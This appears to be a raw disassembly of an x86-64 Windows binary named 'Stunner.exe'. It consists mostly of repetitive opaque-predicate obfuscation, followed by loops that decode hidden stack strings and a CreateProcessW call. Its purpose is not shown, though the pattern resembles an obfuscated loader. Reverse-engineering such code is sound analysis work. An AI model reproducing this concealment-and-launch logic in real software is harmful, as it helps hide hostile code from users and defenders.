movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400540c9
mov r12d, 7
jmp 0x14005415f
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14005415f
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si r12d, xmm0
movsxd rcx, dword [rsp + 0x78]
movsxd rax, r12d
mov rdx, qword [r14 + rcx*8 + 8]
and rdx, rax
add rdx, rdx
movsxd rax, dword [rsp + 0x78]
mov rbx, qword [r14 + rax*8 + 8]
sub rbx, rdx
movsxd rax, r15d
add rbx, rax
movsxd rax, dword [rsp + 0x78]
mov qword [r14 + rax*8 + 8], rbx
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx eax, al
imul edx, eax
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140054b28
call fcn.140003780
movsx edi, al
call fcn.140003770
movsx ebx, al
call fcn.1400037a0
movsx edx, byte [0x14007d2e0]
imul edx, ebx
lea ebx, [rdx + rdx*4]
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, edi
add eax, ebx
add edx, eax
je 0x1400544d9
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400542c1
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400542c1
mov r13d, 7
jmp 0x140054357
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140054357
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si r13d, xmm0
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14005440e
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14005440e
mov dword [rsp + 0x74], 7
jmp 0x1400544a7
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400544a7
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si eax, xmm0
mov dword [rsp + 0x74], eax
movsxd rcx, dword [rsp + 0x78]
movsxd rax, dword [rsp + 0x74]
mov rdx, qword [r14 + rcx*8 + 8]
and rdx, rax
add rdx, rdx
movsxd rax, dword [rsp + 0x78]
mov rbx, qword [r14 + rax*8 + 8]
sub rbx, rdx
movsxd rax, r13d
add rbx, rax
movsxd rax, dword [rsp + 0x78]
mov qword [r14 + rax*8 + 8], rbx
call fcn.140003780
movsx edi, al
call fcn.140003770
movsx ebx, al
call fcn.1400037a0
movsx edx, byte [0x14007d2e0]
imul edx, ebx
lea ebx, [rdx + rdx*2]
add ebx, ebx
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, edi
add eax, ebx
add edx, eax
je 0x1400547eb
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400545cd
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400545cd
mov dword [rsp + 0x6c], 7
jmp 0x140054666
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140054666
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si eax, xmm0
mov dword [rsp + 0x6c], eax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14005471e
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14005471e
mov dword [rsp + 0x64], 7
jmp 0x1400547b7
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400547b7
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si eax, xmm0
mov dword [rsp + 0x64], eax
movsxd rcx, dword [rsp + 0x78]
movsxd rax, dword [rsp + 0x64]
mov rbx, qword [r14 + rcx*8 + 8]
and rbx, rax
add rbx, rbx
movsxd rcx, dword [rsp + 0x78]
movsxd rax, dword [rsp + 0x6c]
mov rdx, qword [r14 + rcx*8 + 8]
add rdx, rax
sub rdx, rbx
movsxd rax, dword [rsp + 0x78]
mov qword [r14 + rax*8 + 8], rdx
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx ecx, al
mov eax, ebx
imul eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140054b28
mov eax, dword [rsp + 0x78]
sub eax, 0x67
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400548f3
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400548f3
mov dword [rsp + 0x70], 7
jmp 0x14005498c
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14005498c
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si eax, xmm0
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x78]
sub eax, 0x67
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140054a55
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140054a55
mov dword [rsp + 0x88], 7
jmp 0x140054af1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140054af1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si eax, xmm0
mov dword [rsp + 0x88], eax
movsxd rcx, dword [rsp + 0x78]
movsxd rax, dword [rsp + 0x88]
mov rbx, qword [r14 + rcx*8 + 8]
and rbx, rax
add rbx, rbx
movsxd rcx, dword [rsp + 0x78]
movsxd rax, dword [rsp + 0x70]
mov rdx, qword [r14 + rcx*8 + 8]
add rdx, rax
sub rdx, rbx
movsxd rax, dword [rsp + 0x78]
mov qword [r14 + rax*8 + 8], rdx
call fcn.140003780
movsx edi, al
call fcn.140003770
movsx ebx, al
call fcn.1400037a0
movsx edx, byte [0x14007d2e0]
imul edx, ebx
imul ebx, edx, 7
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, edi
add eax, ebx
add edx, eax
je 0x140054e38
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140054c1a
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140054c1a
mov dword [rsp + 0x58], 7
jmp 0x140054cb3
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140054cb3
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si eax, xmm0
mov dword [rsp + 0x58], eax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140054d6b
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140054d6b
mov dword [rsp + 0x50], 7
jmp 0x140054e04
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140054e04
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si eax, xmm0
mov dword [rsp + 0x50], eax
movsxd rcx, dword [rsp + 0x78]
movsxd rax, dword [rsp + 0x50]
mov rbx, qword [r14 + rcx*8 + 8]
and rbx, rax
add rbx, rbx
movsxd rcx, dword [rsp + 0x78]
movsxd rax, dword [rsp + 0x58]
mov rdx, qword [r14 + rcx*8 + 8]
add rdx, rax
sub rdx, rbx
movsxd rax, dword [rsp + 0x78]
mov qword [r14 + rax*8 + 8], rdx
mov eax, dword [rsp + 0x78]
inc eax
mov dword [rsp + 0x78], eax
jmp 0x140053e80
xor esi, esi
mov byte [r14], 1
mov r8, qword [r14 + 8]
xor edx, edx
lea rcx, [rsp + 0x1cc0]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x1cc0], 0x68
mov dword [rsp + 0x1cfc], 1
mov word [rsp + 0x1d00], si
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1610], xmm0
mov qword [rsp + 0x1620], rax
lea rdx, [rsp + 0x380]
lea rcx, [rsp + 0x1888]
call sym.Stunner.exe_class_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t_____cdecl_stw_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64_
nop
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400554c5
mov byte [rsp + 0x340], 0xc0
mov byte [rsp + 0x341], 0xc1
mov byte [rsp + 0x342], 0xc2
mov byte [rsp + 0x343], 0xc3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x344], xmm0
mov qword [rsp + 0x354], rax
mov byte [rsp + 0x35c], al
mov qword [rsp + 0x1688], rsi
mov rax, qword [rsp + 0x1688]
cmp rax, 0x1d
jae 0x140054f9d
mov rcx, qword [rsp + 0x1688]
mov rax, qword [rsp + 0x1688]
movzx edx, byte [rsp + rax + 0x340]
add rcx, 0x11c60
movzx eax, dl
and al, cl
add al, al
sub dl, al
add dl, 0x60
add dl, cl
mov rax, qword [rsp + 0x1688]
mov byte [rsp + rax + 0x340], dl
mov rax, qword [rsp + 0x1688]
inc rax
mov qword [rsp + 0x1688], rax
mov rax, qword [rsp + 0x1688]
cmp rax, 0x1d
jb 0x140054f40
mov r8d, dword [rsp + 0x340]
mov byte [rsp + 0x320], 0xa6
mov byte [rsp + 0x321], 0xa5
mov byte [rsp + 0x322], 0xa4
mov byte [rsp + 0x323], 0xab
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x324], xmm0
mov word [rsp + 0x334], ax
mov qword [rsp + 0x1688], rsi
mov rax, qword [rsp + 0x1688]
cmp rax, 0x16
jae 0x140055059
movabs r9, 0xb380b3640664c665
nop word [rax + rax]
mov rdx, qword [rsp + 0x1688]
mov rax, qword [rsp + 0x1688]
movzx ebx, byte [rsp + rax + 0x320]
add rdx, r9
movzx eax, bl
and al, dl
add al, al
sub bl, al
add bl, 0x3d
add bl, dl
mov rax, qword [rsp + 0x1688]
mov byte [rsp + rax + 0x320], bl
mov rax, qword [rsp + 0x1688]
inc rax
mov qword [rsp + 0x1688], rax
mov rax, qword [rsp + 0x1688]
cmp rax, 0x16
jb 0x140055000
lea rcx, [rsp + 0x1888]
cmp qword [rsp + 0x18a0], 7
cmova rcx, qword [rsp + 0x1888]
movsxd rax, dword [rsp + 0x320]
lea rdx, [rcx + rax*2]
lea rax, [rsp + 0x1610]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1cc0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, rsi
test eax, eax
sete cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14005517e
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14005517e
mov ebx, 7
jmp 0x140055219
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140055215
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si ebx, xmm0
jmp 0x140055219
mov ebx, dword [rsp + 0x50]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov ecx, edi
movsx eax, al
imul ecx, eax
lea edx, [rcx + rcx*4]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x1400554c3
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov eax, edi
imul eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14005535c
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
